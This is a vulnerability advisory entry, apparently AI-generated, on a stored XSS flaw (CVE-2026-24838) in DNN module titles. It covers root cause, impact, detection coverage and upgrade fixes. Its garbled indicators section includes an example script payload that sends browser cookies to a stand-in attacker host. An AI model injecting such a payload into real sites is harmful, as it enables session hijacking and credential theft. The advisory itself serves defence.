
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-24838 is a Stored Cross-Site Scripting (XSS) vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform in the Microsoft ecosystem. The vulnerability exists in the module title field, which supports rich text input and fails to properly sanitize scripts that can execute in certain rendering scenarios. It affects DotNetNuke.Core versions prior to 9.13.10 and versions 10.0.0 through 10.2.0 (exclusive). The advisory was published on January 27, 2026, with fixes available in versions 9.13.10 and 10.2.0. The GitHub Advisory Database rates this as Critical with a CVSS v3.1 score of 9.1, while NVD records a score of 5.4 (Medium) (GitHub Advisory, DNN Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): the DNN platform allows rich text content in module title fields without adequately sanitizing or encoding script tags before rendering them in the browser. An authenticated attacker with sufficient privileges to edit module settings can inject malicious JavaScript into a module title, which is then stored server-side and executed in the browsers of any user who views the affected page. The attack vector is network-based, requires low attack complexity, and — per the vendor's CVSS scoring — requires high privileges (administrator-level access to module settings) but no user interaction for the payload to execute once stored (GitHub Advisory, DNN Advisory). The fix was introduced in commit 4a4bcbc of the Dnn.Platform repository (GitHub Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of all users who view pages containing the compromised module, enabling session hijacking, credential theft, and unauthorized content manipulation. Because the payload is stored persistently, every subsequent page load by any user — including administrators — triggers the malicious script, amplifying the blast radius across the entire site. The vendor's advisory rates confidentiality, integrity, and availability impacts all as High with a scope change, reflecting the potential for full compromise of affected user sessions and site content (DNN Advisory, GitHub Advisory).
As of the time of disclosure, there is no public proof-of-concept exploit code and no confirmed evidence of in-the-wild exploitation (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.044–0.055%, placing it in the 17th percentile for exploitation likelihood within 30 days (GitHub Advisory). Detection coverage exists via Qualys (QID 5007253, 530989) and Nessus (plugin IDs 297851, 297827) (Feedly).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent XSS vector./DesktopModules/ or /API/) containing HTML/script tags in title parameters; audit log entries recording module title changes by privileged accounts.<script> tags or JavaScript URIs stored in the DNN TabModules or Modules table within the ModuleTitle or related columns.Upgrade DotNetNuke.Core to version 9.13.10 (for the 9.x branch) or 10.2.0 (for the 10.x branch), both of which contain the fix for this vulnerability (GitHub Advisory, DNN Advisory). As interim mitigations, restrict module editing permissions to only fully trusted administrators, and implement a strict Content Security Policy (CSP) header to limit script execution to approved sources. Regularly audit module titles and other rich text fields in the DNN admin interface for unexpected script content.
The vulnerability received coverage from The Hacker Wire and was shared on Mastodon and Bluesky shortly after disclosure (The Hacker Wire). Security blogs including infinitsec.net and ctrlaltnod.com published brief write-ups noting the stored XSS nature of the flaw (infinitsec). The CISA weekly vulnerability bulletin for the week of January 26, 2026 included this CVE (CISA Bulletin). Community reaction was moderate, with the primary focus on the discrepancy between the vendor's Critical (9.1) CVSS rating and NVD's Medium (5.4) score, reflecting differing assumptions about privilege requirements and user interaction.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."